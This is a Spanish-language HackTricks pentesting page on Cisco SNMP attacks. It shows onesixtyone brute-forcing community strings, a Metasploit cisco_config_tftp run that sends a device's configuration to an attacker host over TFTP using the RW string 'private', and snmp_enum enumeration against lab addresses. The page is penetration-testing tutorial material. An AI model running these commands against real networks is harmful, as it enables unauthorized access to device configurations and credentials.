hacktricks/network-services-pentesting/pentesting-snmp/cisco-snmp.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.6 KiB

Cisco SNMP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta página fue copiada de https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9

Exfiltración y enumeración de configuración a través de SNMP

SNMP (Simple Network Management Protocol) es un protocolo que permite monitorear el estado de los dispositivos en una red informática. Puede ser equipo de red, teléfonos IP, servidores corporativos o cualquier otra cosa.

SNMP utiliza el protocolo de capa de transporte UDP con los números de puerto 161/UDP y 162/UDP. Se utilizan cadenas de comunidad para referir los agentes SNMP al servidor. Estas son, podríamos decir, contraseñas especiales para comunicarse con el servidor SNMP. Las cadenas de comunidad tienen permisos de solo lectura (RO) o de lectura y escritura (RW).

En realidad, SNMP no solo puede monitorear el estado del equipo, sino también administrarlo por completo: volcar configuraciones, cambiar la configuración, etc. Si un pentester puede buscar el valor de las cadenas de comunidad, en realidad obtiene acceso al equipo. Sin embargo, todo depende de qué cadena bruteforceó, si la cadena de comunidad RO o RW.

La fuerza bruta de las cadenas de comunidad se puede implementar utilizando la utilidad onesixtyone. Tomará como entrada el diccionario para la fuerza bruta y las direcciones IP de los hosts objetivo. Los objetivos serán:

  • 10.10.100.10 - Switch Cisco vIOS
  • 10.10.100.254 - Router Cisco vIOS
~$ onesixtyone -c communitystrings -i targets

Descubrimos qué cadenas de comunidad se utilizan en esos dispositivos. Esto nos abre el camino para la explotación.

8.1 cisco_config_tftp

Con el framework Metasploit, específicamente con el módulo cisco_config_tftp, se puede extraer la configuración del dispositivo conociendo el valor de la cadena de comunidad. La cadena que tiene los derechos de RW es private.

Necesitaremos lo siguiente:

  • Cadena de comunidad RW (COMMUNITY)
  • Dirección IP del atacante (LHOST)
  • Dirección IP del equipo objetivo (RHOSTS)
  • La ruta en la que el módulo produce la configuración del dispositivo (OUTPUTDIR)
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/snmp
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit

Después de iniciar el módulo, la configuración del host con la dirección 10.10.100.10 (10.10.100.10.txt) se descargará en la carpeta especificada.

8.2 snmp_enum

Con este módulo puedes obtener información sobre el hardware objetivo. Todo es exactamente igual: especifica COMMUNITY (por cierto, incluso una cadena con permisos RO servirá) y la dirección IP del dispositivo objetivo.

msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥